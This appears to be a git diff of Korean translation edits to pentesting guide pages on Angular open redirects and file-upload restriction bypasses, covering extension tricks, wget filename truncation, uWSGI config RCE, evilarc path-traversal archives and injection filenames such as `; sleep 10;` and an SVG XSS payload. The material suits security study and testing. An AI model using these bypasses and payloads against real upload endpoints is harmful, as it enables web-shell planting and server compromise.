jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
앞서 언급했듯이, HTML 문자열을 수용하는 대부분의 jQuery API는 HTML에 포함된 스크립트를 실행합니다. `jQuery.parseHTML()` 메서드는 `keepScripts`가 명시적으로 `true`가 아닌 한 파싱된 HTML에서 스크립트를 실행하지 않습니다. 그러나 대부분의 환경에서 `<img onerror>` 속성을 통해 간접적으로 스크립트를 실행하는 것은 여전히 가능합니다.
|
||||
앞서 언급했듯이 HTML 문자열을 수용하는 대부분의 jQuery API는 HTML에 포함된 스크립트를 실행합니다. `jQuery.parseHTML()` 메서드는 `keepScripts`가 명시적으로 `true`가 아닌 한 파싱된 HTML에서 스크립트를 실행하지 않습니다. 그러나 대부분의 환경에서 `<img onerror>` 속성을 통해 간접적으로 스크립트를 실행하는 것은 여전히 가능합니다.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(및 `document.location.replace()`)
|
||||
|
||||
이 메서드는 현재 리소스를 제공된 URL의 리소스로 교체합니다.
|
||||
이 메서드는 현재 리소스를 제공된 URL의 리소스로 대체합니다.
|
||||
|
||||
이것은 `assign()` 메서드와 다르며, `window.location.replace()`를 사용한 후 현재 페이지는 세션 기록에 저장되지 않습니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다.
|
||||
`assign()` 메서드와의 차이점은 `window.location.replace()`를 사용한 후 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
`window.open()` 메서드는 URL을 가져와서 이를 새 탭이나 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다.
|
||||
`window.open()` 메서드는 URL을 가져와서 이를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
|
||||
|
||||
#### Angular 클래스
|
||||
|
||||
* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하며, 이는 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반적인 벡터를 사용할 수 있음을 의미합니다. `Document.location` 속성과 메서드는 아래의 예와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다:
|
||||
* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하므로 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반 벡터를 사용할 수 있습니다. `Document.location` 속성과 메서드는 아래 예제와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하기 위한 여러 메서드를 가지고 있습니다 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어:
|
||||
* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하는 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -576,7 +576,7 @@ this.router.navigate(['PATH'])
|
||||
this.router.navigateByUrl('URL')
|
||||
```
|
||||
|
||||
## 참고 문헌
|
||||
## 참고문헌
|
||||
|
||||
* [Angular](https://angular.io/)
|
||||
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
버킷을 열거하고 악용하는 방법에 대해 더 알고 싶다면 이 페이지를 확인하세요:
|
||||
Buckets를 열거하고 악용하는 방법에 대해 더 알고 싶다면 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
|
||||
|
@ -18,7 +18,7 @@
|
||||
### 파일 확장자 검사 우회
|
||||
|
||||
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 **유효한 확장자를 추가** 확인합니다 (이전 확장자도 사용):_
|
||||
2. _실행 확장자 **앞에 유효한 확장자를 추가** 확인합니다 (이전 확장자도 사용):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **특수 문자를 끝에 추가**해 보십시오. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 확장자 사이에 추가하는 기술을 사용할 수 있습니다.
|
||||
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 추가하는 기법을 사용할 수 있습니다.
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,18 +40,18 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 이전 검사에 **또 다른 확장자 레이어를 추가**합니다:
|
||||
5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, **.php**로 끝나지 않더라도 모든 것이 코드를 실행합니다):
|
||||
- _예: file.php.png_
|
||||
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
|
||||
- _ex: file.php.png_
|
||||
7. **Windows**에서 **NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
|
||||
8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux 최대 255 바이트
|
||||
# 리눅스 최대 255 바이트
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
|
||||
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -71,20 +71,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정을 견딜 수 있는** 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
|
||||
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
|
||||
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### 확인할 기타 트릭
|
||||
|
||||
- 이미 업로드된 파일의 **이름을 바꿀 수 있는** 취약점을 찾습니다 (확장자를 변경).
|
||||
- 이미 업로드된 파일의 **이름을 바꿀 수 있는 취약점**을 찾습니다 (확장자를 변경).
|
||||
- **로컬 파일 포함** 취약점을 찾아 백도어를 실행합니다.
|
||||
- **정보 유출 가능성**:
|
||||
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
|
||||
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
|
||||
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다 (예: **“…:.jpg”**). (Windows)
|
||||
5. **Windows**에서 이름에 **잘못된 문자**를 가진 파일을 업로드합니다 (예: `|<>*?”`). (Windows)
|
||||
6. **Windows**에서 **예약된** (**금지된**) **이름**을 가진 파일을 업로드합니다 (예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9).
|
||||
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”**
|
||||
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”`
|
||||
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
|
||||
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
|
||||
|
||||
### 특수 확장자 트릭
|
||||
@ -94,7 +94,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
|
||||
|
||||
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
|
||||
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -106,7 +106,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있
|
||||
|
||||
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
|
||||
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "마법" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
|
||||
|
||||
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
|
||||
```ini
|
||||
@ -133,7 +133,7 @@ uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요
|
||||
## **wget 파일 업로드/SSRF 트릭**
|
||||
|
||||
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\
|
||||
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
|
||||
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 그러면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
|
||||
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
|
||||
|
||||
## 도구
|
||||
|
||||
@ -168,15 +168,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다.
|
||||
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성합니다.
|
||||
- **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트합니다 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요).
|
||||
- [**XSS** 이미지 (svg) 파일 업로드](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**SVG 업로드에서 XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** 파일 **업로드** + **XSS** = [**Service Workers** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
|
||||
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
|
||||
- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
|
||||
- **웹 서버에 URL에서 이미지를 가져오도록 지시**할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
|
||||
- [**XXE와 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
|
||||
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
|
||||
|
||||
@ -188,7 +188,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
4. **CSV**: CSV 인젝션
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS**: HTML 인젝션 / XSS / 오픈 리디렉션
|
||||
7. **HTML / JS** : HTML 인젝션 / XSS / 오픈 리디렉션
|
||||
8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS)
|
||||
9. **ZIP**: LFI를 통한 RCE / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 다른 폴더에 압축 해제
|
||||
|
||||
압축 해제 중 디렉토리에서 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
|
||||
압축 해제 중 디렉토리에서 파일이 예상치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
|
||||
|
||||
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
|
||||
```python
|
||||
@ -229,7 +229,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
|
||||
또한, **evilarc와 함께하는 symlink 트릭**도 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장됩니다.
|
||||
|
||||
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
|
||||
```python
|
||||
@ -291,17 +291,17 @@ pop graphic-context
|
||||
|
||||
PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized` 및 `imagecopyresampled` 함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다.
|
||||
|
||||
이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
|
||||
이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램이 포함된 기사는 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
|
||||
|
||||
자세한 정보는: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## 다중형 파일
|
||||
## 폴리글롯 파일
|
||||
|
||||
다중형 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며, 이는 GIF와 RAR 아카이브로서 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
|
||||
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
|
||||
|
||||
다중형 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 다중형 파일은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
|
||||
